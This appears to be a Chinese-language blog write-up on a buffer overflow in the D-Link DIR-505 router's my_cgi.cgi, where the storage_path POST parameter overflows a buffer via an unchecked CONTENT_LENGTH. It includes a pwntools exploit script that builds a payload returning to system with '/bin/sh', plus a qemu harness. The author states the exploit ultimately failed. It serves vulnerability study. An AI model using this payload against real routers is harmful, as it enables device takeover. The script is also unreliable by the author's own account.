Contents
  1. 1. 分析
  2. 2. exp
    1. 2.1. dir505路由器设置
    2. 2.2. busybox(可无

固件下载:http://files.dlink.com.au/Products/DIR-505/REV_A/Firmware/v1.05b04/

根据披露,漏洞存在于my_cgi.cgi脚本,处理POST参数中storage_path参数的值时,存在边界验证不合理导致程序越界访问。(且这个路由器存在多个漏洞

分析

基础步骤不再赘述,找到my_cgi.cgi文件

注意这次是大端了,要用qemu-mips-static

不太喜欢直接上脚本,先分析吧
查找storage_path,查看引用

看着get_input_entries就像是输入函数,所以进去分析一波,发现

所以要继续分析这个函数的参数,查找引用,来看看参数到底指的是什么。。。
这位师傅的分析很细致,汇编真杀我…
所以,那个for循环就是

1
for (int i = CONTENT_LENGTH; i > 0; i--)

问题就在于,并没有对传入的CONTENT_LENGTH长度进行检验,会导致溢出


缓冲区大小为0x7490A
发现文件中有可用的system函数,查找一下引用,找到合适的再构造,和以前的都一样了


(只是我后面又换成了下面那个

exp

目前是这样的,本地测试不太方便,买了个真机,等到了回来试试再改😶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!usr/bin/python
from pwn import *
context.endian="big"
context.arch="mips"

payload = "storage_path="
payload += "a" * 0x7490a
payload += "b" * 0x16
payload += p32(0x00404EA0)
payload += "c" * 0x8C
payload += "/bin/sh\x00"

with open("payload",'wb') as f:
f.write(payload)
f.close()

run_cgi.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

INPUT="$(<payload)"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi

cp $(which qemu-mips-static) ./qemu

echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E SCRIPT_NAM="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT ./usr/bin/my_cgi.cgi
echo 'run ok'
rm -f ./qemu

dir505路由器设置

可以参考这个视频:https://dwz.cn/6NWW74qg?u=666a24f872dbcbca

busybox(可无

busybox是一个集成了一百多个最常用linux命令和工具的软件,他甚至还集成了一个http服务器和一个telnet服务器,而所有这一切功能却只有区区1M左右的大小.我们平时用的那些linux命令就好比是分立式的电子元件,而busybox就好比是一个集成电路,把常用的工具和命令集成压缩在一个可执行文件里,功能基本不变,而大小却小很多倍,在嵌入式linux应用中,busybox有非常广的应用,另外,大多数linux发行版的安装程序中都有busybox的身影,安装linux的时候按ctrl+alt+F2就能得到一个控制台,而这个控制台中的所有命令都是指向busybox的链接.

安装:https://blog.csdn.net/haofan_/article/details/78369352


最后还是失败了 以后再试试吧…